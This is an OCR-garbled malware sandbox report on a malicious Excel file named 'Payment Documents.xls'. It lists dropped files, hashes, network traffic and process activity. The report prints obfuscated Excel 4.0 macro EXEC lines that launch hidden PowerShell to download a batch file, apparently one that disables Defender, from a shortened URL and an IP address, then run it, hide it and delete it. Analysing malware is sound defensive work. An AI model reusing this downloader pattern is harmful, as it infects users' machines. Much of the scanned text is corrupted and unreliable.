https://view.joesandbox.com/analysis/252379/html/none?idtype=webid
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid
https://view.joesandbox.com/analysis/252265/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252265/html/none?idtype=webid

C:\Users\user\AppData\Local\Temp\B5FE0000

Encrypted: false
SSDEEP: 192:cYguQXSZIk2SNHbZNINXMWSNwDy1mCG/rStOC2NDtXGGJ:cYIXSZSSNH/IMWitlylONT
MD5: 31397AE32CB6A53106822F75D8A792F0
SHA1L: E666E25CFOFE85DCD82E66C498ADE70788518AB6
SHA-256: 343B6842C2FB2A23FFOF318D28A6B09C4AASBI90A299CFE73A2182424ACA46E3
SHA-512: E86E59F7EB1747B0260F88D5093E78A8950F8FFC8D628EC82DBC34368A8ECB344C0F2A91ABCD37E0065F38EBECAA002A3C6FAEAL354237495A8D36CA403C21:
3
Malicious: false
Preview:
.MO.0..H.*W.fp@...# 1~@.xk.4.b...>".m..m..y...... ... EOd.u0.0K.1z..D..Q.X(..P....." f....Q...u..."D.2..V.i*..35.y...J.<.....1.2.D}....{.dI
bz."N...L.<* #cXW..B.r8. U+ G..7..E...;..L..i....\.._J.....)c..m@>7A.m~U.. V.l .} #>..d<%n.. ..p.R_#W-~yn...{-
L0l ] [Content_Types].xml ...(
C:\Users\luser\AppData\Local\Temp\Cab588D.tmp E
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file
Category: dropped
Size (bytes): 58936
Entropy (8bit):  7.994797855729196
Encrypted: true
SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj
MD5: E4F1E21910443409E81E5B55DC8DE774
SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAALASA151EDA2A7AA64D5250AEDI08C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46
Malicious: false
Preview:
MSCF....8....... e Lo S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(...... M$[v.4CH)-.%.QIR..$t)Kd...D....3.n..U..............].. =H4.U=...X..gn.+S.AJ.....y.n.v.XC...

n7R...C s e 9+ ]0 2hs L wt LLs L OS> L pfi7 UlLs A wz AgLY
....60...eCS4.0......d..}.<,nh.;....)...e.]...Cx..f.8.Z.&.G.....
Z.N.N...Uf.g">}....... o\.cD"0."Y.....SV..g...Y.....o.=....k..u.

.b....0GQ.V.g..Y............q...0.V.Tu?.Z..r..J..>R.ZsQ...dn.0.<...0.K...|.....Q..."...X.C
.s.kV?@...M...S.n":G....U.ev..>...q."..$.)3..T....m.....6...1IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..L.5..\.......

C:\Users\user\AppData\Local\Temp\Tar588E.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

modified

152533

6.31602258454967

false
1536:SIPLIYy2pRSjgCyrYBb5HQop4Ydm6CWku2Ptlz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
D0682A3C344DFC62FB18D5A539F81F61

09D3E9B899785DA377DF2518C6175D70CCFIDA33
4788F7F15DE8063BB3B2547AF1BDICDBD0596359550E53EC98E532B2ADB5EC5A
0E884D65C738879C7038C8FB592F53DD515E630AEACCIDIESFI013606364F092ACF7D832E1ABDAC86A1FOBOE906B2302EE3A840A503654F2B39A65B2FEA04EC

false

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Jan 6
15:32:48 2021, atime=Wed Jan 6 15:32:48 2021, length=8192, window=hide

dropped

867

4.491512073253914

false
12:85QR6N/CLgXg/XAICPCHaXxtB8XzB/XKX+Whnicvbc+bDtZ3YiIIMMEpxXRIKNTdIP8:85bU/XTd6jUYeQSDv3qIrNru/
4DA997BOD7FFE94DEA11DC9B4DC47907

6726207AA01653E2CDESESAF794CBA2EFDD2375B
2AD37E5F6CE27303624B1D7B37D5FBA0886836D6DF13FAEF8C944CCEA9CFBIEF

8709B97549D0ADAFA99D4A3F6E82D1885A3698CCEC91B74DCE952DF5EBG6IBF5A6D1E6AB7ED305386E3EDG3EG53862B86BB7FE70D7DE927B68BF4D2BCO8F91/
8C
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
Malicious: false

Preview:

Alb.us..
N S C \Users\..# ................... \\936905\Users user\Desktop....... \.

.S.- .1. .5. .2.1. .9.6.6.7.7.1.3.1.5. .3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6. KXo 936905...

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Payment Documents.LNK

.Us.ers..@.s.h.e.ll.3.2..d.Ll,.-

.zl &R Desktopd ...... QKX&R..*..._ .Desktop .@.s.hell3.2.dll,.-2.1.

1SPS.XF.L8C

3NLW..Or.[*...... }JEKD_....3N..W

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Jan 6 15:32:48 2021,
atime=Wed Jan 6 15:32:48 2021, length=34816, window=hide

Category: dropped

Size (bytes): 2098

Entropy (8bit): 4.542297107012331

Encrypted: false

SSDEEP: 24:8sk/IXTd6jFyKZcTreQGegDv3qldM7dD2sk/XTd6jFyKZcTreQGegDv3qldM7dV:8d/XTOjFpl1GalQh2d/XTOjFpl1GalQ/

MDS5: 42D9BEF75465DA5989182BC7AD561EB6

SHA1L: A71A1508402E6FCD4AA9BAEEIBOEBISBE1C274E2

SHA-256: 693F33E7B3418F27168315DCDED2795C1CD70D9840D200D405CC5B190CF2C8FF

SHA-512: BCO2F0F5536B5CFOF724BF00D379663D11E68BFCEADOSADAGSEI2F22F8534E544DICIB563F356A205A2886B3C92CB925F1CB2D1C62F1DCDID02B001D48E2D9
8

Malicious: false

Preview:

Fo.. .. h@..{ ..l Tl +00.../C:\...... t.1.....QK.X..Users. ..........QK.X* ..6..Users.@.s.hell3.2..d.l I

.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...& Alb.us....z.1.....Q.y..Desktop.d.....QK.X.Q.y*..._= D.es. kto p..@.s.h.ell3.2..d.Ll,.

7.6.9....t.2.1.&R.. .PAYMEN~1.XLS. X......Q.y.Q.y*...8..
...\\936905\Users. user\Desktop\Payment Documents xls.,

...P.ay.m.e.n.t. .D.o.cum.e.n.ts..xls..
.\..\D.esktop\P.aym.en.t. Documents x.l.s..

...C:\Users\.#................
1SPS.XF.L8

C..&mm........-.S.-1-5-21-96.6.7.7.1.3.15.- 3019405637 .3.6.7.3.3.6.4.7.7.-.1.0.0.6... e X 936905. .

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 104

Entropy (8bit): 4.6102361706081885

Encrypted: false

SSDEEP: 3:0yBVomMBLIOAIWCtDLIOAIWCmMMBLIOAIWCV:dj6B1AKUD1AKUB1Aks

MDS5: CCD123EBC7377344ACE407E148117C57

SHAL: EDCFC820DB63653300053FD268378C5D40426551

SHA-256: 2BBAC2EBBO7ECAF5A21662885BB04BE336B48E59EB3F7091B59A9FC7AFGAABEY
SHA-512: 211E64F87B6B1F1B5F4729BDD3D6C6E132B9469A211977B54EAS5D2186C5425CF971D3666D1C426CD1DESAD26B7935C778AC0010F22057F54E04C34071C680C6!
Malicious: false

Preview:

Desktop.LNK=0..[xIs]..Payment Documents.LNK=0..Payment Documents.LNK=0..[xIs]..Payment Documents.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2XNY6MYDF1TTVELARODF.temp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.589384205699787

Encrypted: false

SSDEEP: 96:chQCsMqgaqvsqvJCwoSz8hQCsMgaqvsEHyqvJCworozv1YXHNf8OEIUV8Iu:cyzoSz8ynHnorozvmf8OMIu

MDS5: 8CB0759F5334E660B18A863974A336C2

SHA1L: CD5B46F01COE625336F9EA6E51D8D894BD15BBB6

SHA-256: 98DDFC375BB5A43F6B6E4B3BC381C9D6950E645604C2A6B590554F6A0F8D6ADE

SHA-512: 067F654DD41FF37534EEEOF733F9BBC541B46B4831857E10E847BA74E462BDBAF01BA3E97D3A1DA0D3304D60CBID555DF632C8C4BACIABFF84BBI6EB887556
17

Malicious: false

Preview:

................................... FLuoiiiiinF 8.0 XG D XQAD. Koo PO e 400, /Co\ e ML I\, PROGRA=3..D........0. {J.\*o. Koo PLTLO,

gram.D.ata.
.STARTM~L1.j

.~JV. MICROS~1.@........~ V¥l M.i.c.r.o.s.o.ft....R.1...wJ;.. Windows.<.........wJ;
@....S.tart. Me.n.u.@.s.hell3.2.dll,.-2178.6...~1...Pf.Programs..f.......Pf.*
. ..1....xJu=..ACCESS~1..l.
\W.ind.ow.s. .P.ow.e.r.Shell..v.2.k.

WINDOW 2LNK .z \W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DUN1ZFRNYGMXJKTDAFQQ.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Copyright null 2021

LWJrxL ...B... Accessor|es @sheIISZ dll.,.-2.1.76.1....

W..n.d.o.w.s....... I (¢
<...Pro.grams..@.s.h.e.l

j-1o. " WINDOW~1.R......o2 ™
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DUN1ZFRNYGMXJKTDAFQQ.temp

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

8016

3.589384205699787

false
96:chQCsMqgaqvsqvJCwoSz8hQCsMgaqvsEHyqvJCworozv1YXHNf8OEIUV8Iu:cyzoSz8ynHnorozvmf8OMIu
8CB0759F5334E660B18A863974A336C2

CD5B46F01COE625336F9EA6E51D8D894BD15BBB6
98DDFC375BB5A43F6B6E4B3BC381C9D6950E645604C2A6B590554F6A0F8D6ADE

067F654DD41FF37534EEEOF733F9BBC541B46B4831857E10E847BA74E462BDBAF01BA3E97D3A1DA0D3304D60CBID555DF632C8C4BACIABFF84BBI96EB887556
17

false

gram.D.ata...X1..~Jv. MICROS~1.@.......: M.i.cros.oft.. . .R1..wl.. Windows.<......WJ.* ... W.i.n.d.o.w.s..
..@....Start. Men.u..@.s.h.ell3.2.dll,.-21786...~1...Pf.Programs..f....

LSTARTM~L. o ((Fe LPRELLLL <.
1.3.2..d.ll,.-.2.1.7.8.2.......1.... xJu=..ACCESS~1..I........wJr*...................B.....A.c.ce.s.s.ories..@.s.hell3.2.dll, .-2176.1.. Wi
.................. W.i.n.d.o.w.s. .P.owe.r.S.he.ll..v.2k..., WINDOW~2.LNK..Z........,..., 5. .= WiinudLoawes.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LM6LINDCJ6UERMQEH8UK.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.589384205699787

false
96:chQCsMqgaqvsqvJCwoSz8hQCsMgaqvsEHyqvJCworozv1YXHNf8OEIUV8Iu:cyzoSz8ynHnorozvmf8OMIu
8CB0759F5334E660B18A863974A336C2

CD5B46F01COE625336F9EA6E51D8D894BD15BBB6
98DDFC375BB5A43F6B6E4B3BC381C9D6950E645604C2A6B590554F6A0F8D6ADE

067F654DD41FF37534EEEOF733F9BBC541B46B4831857E10E847BA74E462BDBAFO1BA3E97D3A1DA0D3304D60CBID555DF632C8C4BACIABFF84BB96EB887556
17

false

gram.D.ata.
.STARTM~L1.j

W..n.d.o.w.s....... I (¢
<...Pro.grams..@.s.h.e.l
S"LWINDOW~LL.R.....iy ™,

\W.in.d.ow.s. .P.ow.e.r.Shell..v.2.k. .WINDOW~2.LNK..Z ...W.i.n.d.o.w.s.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MQC3UX47LDNUZDWW6N1W.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.589384205699787

false
96:chQCsMqgaqvsqvJCwoSz8hQCsMgaqvsEHyqvJCworozv1YXHNf8OEIUV8Iu:cyzoSz8ynHnorozvmf8OMIu
8CB0759F5334E660B18A863974A336C2

CD5B46F01COE625336F9EA6E51D8D894BD15BBB6
98DDFC375BB5A43F6B6E4B3BC381C9D6950E645604C2A6B590554F6A0F8D6ADE

067F654DD41FF37534EEEOF733F9BBC541B46B4831857E10E847BA74E462BDBAFO01BA3E97D3A1DA0D3304D60CBID555DF632C8C4BACOABFF84BB96EB887556
17

false

gram.D.ata
.STARTM~L1.j

LwIrfo............B...../Acc.cess.s.ories..@.s.hell3.2.dll,.-217.6.1...}1... NDOW~1..R........,.."*.......

.W.ind.ows. .P.owe.rShell..v.2k. .., WINDOW~2.LNK..Z........,..., 5 .. 5 W.i.n.d.o.w.s.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YSP376 YDGA2J1G32VNXE.temp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.589384205699787

false
96:chQCsMqgaqvsqvJCwoSz8hQCsMgaqvsEHyqvJCworozv1YXHNf8OEIUV8Iu:cyzoSz8ynHnorozvmf8OMIu
8CB0759F5334E660B18A863974A336C2
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YSP376 YDGA2J1G32VNXE.temp

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

CD5B46F01C0E625336F9EAGES1D8D894BD15BBB6
98DDFC375BB5A43F6B6E4B3BC381C9D6950E645604C2A6B590554F6A0F8D6ADE

067F654DD41FF37534EEEOF733F9BBC541B46B4831857E10E847BA74E462BDBAFO1BA3E97D3A1DA0D3304D60CBID555DF632C8C4BACIABFF84BBI96EB887556
17

false

............... P.O. .i....#00.../C\..c.cvvve M1 {3\ PROGRAS3..D.... {3 K
X.1....~J|v. MICROS~1..@... M.i.cros.oft. . .R1..wl.. Windows.<......WJ.* ... W.i.n.d.o.w.s..

gram.D.ata. .
..@....Start. .Menu..@.s.hell3.2.dll,.-21786...~.1....Pf.Programs..f..

LSTARTM~L. o ((Fe LPRELLLL <.
1.3.2..d.ll,.-.2.1.7.8.2.......1.... xJu=..ACCESS~1..I........wJr*...................B.....A.c.ce.s.s.o.ries..@.s.hell3.2.dll, .-2176.1.. Wi
.................. W.i.n.d.o.w.s. .P.owe.r.S.he.ll..v.2k..., WINDOW~2.LNK..Z........,..., 5. .= WiinudLoawes.

C:\Users\user\Desktop\46FE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Applesoft BASIC program data, first line number 16

dropped

65167

4.540259186054339

false
1536:JAAcQk3hbdlylKsggopeJBWhZFGKE+cL2Nd717AAcQk3hbdlylKsggqopeJBWhZFL:GQk3hbdlylKsggopeJBWhZFGKE+cL2N8
26A39EEFAF8DC51AD59818F6E60B77CD

CC418A7ACEGBE681E83C10097E8AC84DA0B334630
6A041587E1B23F0798B6A1A794EFB5490C308E00E9201630D7D304442FE7852E
ASFAF56C50FE60A6A8793899F0855190F9A39EAS6CF7CCE36A21A176D0714E7260E8433DCIEC227E712DF1B229803ABB43E2A9522DB513FEEE32F05DEF3447C

false

..ThisWorkbook
CArdallo
.Caaliburil.

user B.
..................... LovdArdallo e Arndallo L ArialL
.Calib.ril. .Calib.ril...
.....Calibril

.cAriall
. wA......Calib.
ceveeeeCaallibiriil*h.6...........C.

Lightl..,.6.....Calibril....6.

Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 10.0, Code page: 1252, Last
Saved By: blobijump, Create Time/Date: Sun Sep 20
22:17:44 2020, Last Saved Time/Date: Sun Jan 3 2
3:14:32 2021, Security: 1

4.299085514839668

e Microsoft Excel sheet (30009/1) 47.99%

e Microsoft Excel sheet (alternate) (24509/1) 39.20%

e Generic OLE2 / Multistream Compound File
(8008/1) 12.81%

Payment Documents.xIs

27648
3acbe5eld7a0dceb1125d987988765ea
Tfafd588ff8b2e8fda79eab3a9460fa3c01bd6d8

€331f9c19372cfd42c85f2bbf26f58€9800c2f14504aed43
825c7dalef913d7a

049d8b21495cbb5d4e50028f8d3d065a028ba519f5633b:
9e60cb3b0e81419efa56f1c4db8498e8b317c5e125332ac
45c972b5525e878866a639c3ed367afd5

768:DIHVNSGiysRCchNXHfALMIWhZFGKEId+DrCWfO1
FmXe:oVnSGiysRchNXHfA1IMiWhZFGKEId+Dre

3.

edeea286adb4bcb4

Static OLE Info

Copyright null 2021
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General
Document Type: OLE
Number of OLE Files: 1

OLE File "Payment Documents.xIs"

Indicators

Has Summary Info: True
Application Name: unknown
Encrypted Document: False
Contains Word Document Stream: False
Contains Workbook/Book Stream: True
Contains PowerPoint Document Stream: False
Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary

Code Page: 1252

Last Saved By: blobijump

Create Time: 2020-09-20 21:17:44
Last Saved Time: 2021-01-03 23:14:32
Security: 1

Document Summary

Document Code Page: 1252
Thumbnail Scaling Desired: False
Contains Dirty Links: False
Shared Document: False
Changed Hyperlinks: False
Application Version: 1048576
Streams

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 276

General

Stream Path: \x5DocumentSummarylnformation

File Type: data

Stream Size: 276

Entropy: 3.16930549839

Base64 Encoded: False

Data ASCII: e +,. 00 H....... P....

X o h.o...... P X e e e e

.............................. Feuill.....Macrol...................Feu
Iles de calcul................. Macro

Data Raw: fe ff 00 00 Oa 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e4 00 00 00 08 00 00 00 01 00 00 00
4800 00 00 17 00 00 00 50 00 00 00 Ob 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00
00 00 68 00 00 00 16 00 00 00 70 00 00 00 Od 00 00 00 78 00 00 00 Oc 00 00 00 98 00 00 00
02 00 00 00 e4 04 00 00

Stream Path: \x5Summarylnformation, File Type: data, Stream Size: 156

General
Stream Path: \x5Summaryinformation
File Type: data
Stream Size: 156
Entropy: 3.29938329109
Base64 Encoded: False
Data ASCIl:
P

ni&...........

Data Raw: fe ff 00 00 Oa 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f

2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 6¢ 00 00 00 05 00 00 00 01 00 00 00 30 00
00 00 08 00 00 00 38 00 00 00 Oc 00 00 00 4c 00 00 00 0Od 00 00 00 58 00 00 00 13 00 00 00
64 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 Oa 00 00 00 62 6¢ 6f 62 69 6a 75 6d 70 00
00 00 40 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 24824
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General

Stream Path: Workbook

File Type: Applesoft BASIC program data, first line number 16
Stream Size: 24824

Entropy: 4.33921706453

Base64 Encoded: True

Data ASCII:

Data Raw: 09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 el 00 02 00 b0 04 c1 00 02 00
00 00 e2 00 00 00 5¢ 00 70 00 09 00 00 62 6¢ 6f 62 69 6a 75 6d 70 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

20 20 20 20 20 20 20 20
Macro 4.0 Code
s 112,,,,,,"=GET.CELL(5,L581)",,,,,,,"=EXEC(""c""&CHAR(109)&"d /c ""&CHAR(K582)&""owershe "l -w 1 stARt -sIE'Ep 3; Move-Item """pd""&CHAR(46)&""bat""" -Destination
e VT EMP™™™)" s "SEXEC("'c" &CHAR(109)&™d /c "&CHAR(K582)&""owersheAl -w 1 StARt-SIE Ep 12; Remove-Item -Path pd"'&CHAR(46)&"bat -Force™)",,,..,,"=EXEC(""c"'&CHAR(109
)&™d /¢ ""8&CHAR(K582)&""owershe Ml -w 1 stARt -sIEEp 1; attrib +s +h pd™'&CHAR(46)&""bat™)",,,,.,,,"=EXEC(""c""&CHAR(109)&"d /c ""&CHAR(K582)& "owersheA -w 1 StARt-SIE'Ep 7;cd """$e’'nV:

TEMP; /pd™&CHAR(46)&"bat™""")"
J&CHAR(101)&"beLIENE).
(‘Down'+loadFile’).In""&CHAR(118)&""oke("" &CHAR(104)&"ttps://cutt.ly/3js2g8s', pd""&CHAR(46)& "bat)")",...,

omsssssnnnnnsnnnnnnnonnonns —=EXEC(™C"&CHAR(109)&™'d /c "' &CHAR(K582)&"owershe M -w 1 (nEw-0B jecT Ne"™'&CHAR(116)&CHAR(46)&CHAR(87

Network Behavior

Network Port Distribution

Total Packets: 17

@ 53 (DNS)
® 80 (HTTP)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 6, 2021 08:32:52.267725945 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:52.307792902 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.307931900 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:52.333898067 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:52.374042034 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.376488924 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.376523018 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.376537085 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.376638889 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:52.385051012 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:52.425136089 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.425668955 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.641555071 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:52.674237967 CET 443 49167 104.22.1.232 192.168.2.22
Jan 6, 2021 08:32:52.674295902 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:54.229796886 CET 49167 443 192.168.2.22 104.22.1.232
Jan 6, 2021 08:32:54.270163059 CET 443 49167 104.22.1.232 192.168.2.22
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Timestamp

Jan 6, 2021 08:32:54.395864010 CET
Jan 6, 2021 08:32:54.395905972 CET
Jan 6, 2021 08:32:54.396043062 CET
Jan 6, 2021 08:32:54.399208069 CET
Jan 6, 2021 08:32:54.446299076 CET
Jan 6, 2021 08:32:54.446517944 CET
Jan 6, 2021 08:32:54.446687937 CET
Jan 6, 2021 08:32:54.497922897 CET
Jan 6, 2021 08:32:54.556894064 CET
Jan 6, 2021 08:32:54.556914091 CET

UDP Packets

Timestamp

Jan 6, 2021 08:32:52.197530985 CET
Jan 6, 2021 08:32:52.253705025 CET
Jan 6, 2021 08:32:52.941224098 CET
Jan 6, 2021 08:32:52.999100924 CET
Jan 6, 2021 08:32:53.004451036 CET
Jan 6, 2021 08:32:53.060700893 CET

DNS Queries

Timestamp

Jan 6, 2021 08:32:52.197530985 CET

DNS Answers

Timestamp Source IP

Jan 6, 2021 8.8.8.8
08:32:52.253705025

CET

Jan 6, 2021
08:32:52.253705025
CET

8.8.8.8

Jan 6, 2021
08:32:52.253705025
CET

8.8.8.8

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

e 37.46.150.139

HTTP Packets

Source Port Dest Port Source IP Dest IP
443 49167 104.22.1.232 192.168.2.22
443 49167 104.22.1.232 192.168.2.22
49167 443 192.168.2.22 104.22.1.232
49169 80 192.168.2.22 37.46.150.139
80 49169 37.46.150.139 192.168.2.22
49169 80 192.168.2.22 37.46.150.139
49169 80 192.168.2.22 37.46.150.139
80 49169 37.46.150.139 192.168.2.22
49169 80 192.168.2.22 37.46.150.139
49167 443 192.168.2.22 104.22.1.232
Source Port Dest Port Source IP Dest IP
52197 53 192.168.2.22 8.8.8.8
53 52197 8.8.8.8 192.168.2.22
53099 53 192.168.2.22 8.8.8.8
53 53099 8.8.8.8 192.168.2.22
52838 53 192.168.2.22 8.8.8.8
53 52838 8.8.8.8 192.168.2.22
Source IP Dest IP Trans ID OP Code Name Type
192.168.2.22 8.8.8.8 0x1175 Standard query  cutt.ly A (IP address)
(0)
Trans ID Reply Code Name CName Address Type
0x1175 No error (0) cutt.ly 104.22.1.232 A (IP address)
0x1175 No error (0) cutt.ly 104.22.0.232 A (IP address)
0x1175 No error (0) cutt.ly 172.67.8.238 A (IP address)

Session ID Source IP Source Port

0 192.168.2.22 49169
kBytes

Timestamp transferred Direction

Jan 6, 2021 70 ouT

08:32:54.446687937 CET

Jan 6, 2021 71 IN

08:32:54.497922897 CET

HTTPS Packets

Copyright null 2021

Destination IP Destination Port Process

37.46.150.139 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /bat/scriptxls_cf6c45a3-4840-422a-8668-e9a12252c924_thecaball_wddisabler.bat HTTP/1.1
Host: 37.46.150.139
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 06 Jan 2021 07:32:54 GMT

Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.4.12
Last-Modified: Tue, 05 Jan 2021 05:36:46 GMT

ETag: "0-5b82097a9c220"

Accept-Ranges: bytes

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Class

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Source Dest Not Not JA3 SSL Client
Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Jan 6, 2021 104.22.1.232 443 192.168.2.22 49167 CN=www.cutt.ly CN=RapidSSL TLS RSA SatFeb Thu Apr 769,49172-49171- 05aflf5calb87cc9ccob25
08:32:52.376537085 CN=RapidSSL TLS RSA CA CA G1, 08 08 57-51-53-47- 185115607d
CET G1, OU=www.digicert.com, OU=www.digicert.com, 01:00:00 14:00:00 49162-49161-56-
O=DigiCert Inc, C=US O=DigiCert Inc, C=US  CET CEST  50-10-19-5-4,0-
CN=DigiCert Global 2020 2021 10-11-23-
Root G2, Thu Nov Tue Nov 65281,23-24,0
OU=www.digicert.com, 02 02
O=DigiCert Inc, C=US  13:24:33 13:24:33
CET CET
2017 2027
CN=RapidSSL TLS RSA CA CN=DigiCert Global Thu Nov Tue Nov
G1, OU=www.digicert.com, Root G2, 02 02
O=DigiCert Inc, C=US OU=www.digicert.com, 13:24:33 13:24:33

Code Manipulations

Statistics

Behavior

@ Click to jump to process

System Behavior

O=DigiCert Inc, C=US  CET CET
2017 2027

@ EXCEL.EXE

® cmd.exe

@ cmd.exe

@ cmd.exe

@ powershell.exe
@ cmd.exe

@ powershell.exe
@ cmd.exe

® powershell.exe
@ powershell.exe
@ powershell.exe
@ attrib.exe

Analysis Process: EXCEL.EXE PID: 1464 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:
Reputation:

Copyright null 2021

08:32:46
06/01/2021
C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
false
‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
0x13f990000
27641504 bytes
5FBOAOF93382ECD19F5F499A5CAAS9F0
true
true
C, C++ or other language
high
